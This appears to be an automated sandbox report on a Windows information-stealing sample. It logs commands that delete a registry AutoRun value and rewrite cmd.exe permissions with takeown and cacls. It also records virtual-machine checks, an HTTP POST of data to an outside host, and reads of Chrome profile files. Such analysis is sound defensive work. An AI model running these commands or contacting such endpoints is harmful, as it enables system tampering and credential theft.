WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: takeown console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: /f C:\Windows\system32\cmd.exe /a console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /g Administrators:f console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /g Users:r console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /g Administrators:r console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /d SERVICE console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /d mssqlserver console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /d "network service" console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /g system:r console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: cacls console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: takeown console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: /f C:\Windows\SysWOW64\cmd.exe /a console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey July 18, 2023, 7:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2023, 7:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 18, 2023, 7:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00531680 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 18, 2023, 7:16 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header				suspicious_request	GET http://api.ipify.org/
suspicious_features	POST method with no referer header, POST method with no useragent header				suspicious_request	POST https://whyers.io/QWEwqdsvsf/ap.php

Performs some HTTP requests (2 events)

request	GET http://api.ipify.org/
request	POST https://whyers.io/QWEwqdsvsf/ap.php

Sends data using the HTTP POST Method (1 event)

request

POST https://whyers.io/QWEwqdsvsf/ap.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 98 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00710000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00890000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00710000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00760000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00492000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00605000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0060b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00607000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00730000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0049a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00731000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00734000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0049c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00735000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00736000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00737000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 24576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0073a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00891000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b54000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 28672 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b5d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b5e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b5f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:16 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051fd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 38400 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06770400 process_handle: 0xffffffff		3221225550
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051fe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051ff000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 1680 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06830000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (5 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceExW July 18, 2023, 7:18 a.m.	total_number_of_free_bytes: 9933119488 free_bytes_available: 9933119488 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW July 18, 2023, 7:18 a.m.	total_number_of_free_bytes: 75309056 free_bytes_available: 75309056 root_path: E: total_number_of_bytes: 104853504	1	1
GetDiskFreeSpaceExW July 18, 2023, 7:18 a.m.	total_number_of_free_bytes: 9933086720 free_bytes_available: 0 root_path: C:\ total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW July 18, 2023, 7:18 a.m.	total_number_of_free_bytes: 0 free_bytes_available: 0 root_path: D:\ total_number_of_bytes: 0		0
GetDiskFreeSpaceExW July 18, 2023, 7:18 a.m.	total_number_of_free_bytes: 75304960 free_bytes_available: 0 root_path: E:\ total_number_of_bytes: 104853504	1	1

Steals private information from local Internet browsers (50 out of 129 events)

file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\QuotaManager-journal
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOCK
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\4cb013792b196a35_1
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\4cb013792b196a35_0
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Crashpad\metadata
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\b1152479bea6c46553d8c242ffa5edf2b0a050a7\290dcccb-9986-4f16-98a9-c54df8312e93
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\000003.log
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\000003.log
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\databases
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\b1152479bea6c46553d8c242ffa5edf2b0a050a7\290dcccb-9986-4f16-98a9-c54df8312e93\index-dir
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\000003.log
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG.old
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Origin Bound Certs
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Thumbnails\000003.log
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\LOG.old
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_2
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Thumbnails\LOG.old
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\index
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Preferences
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Crashpad\reports\8dc74f67-39b6-4058-9ac1-6f782fcd0d62.dmp
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOCK
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOCK
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Last Session
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Cache\index
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\b1152479bea6c46553d8c242ffa5edf2b0a050a7\index.txt
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Cache
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Data
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Favicons
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\LOG
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG
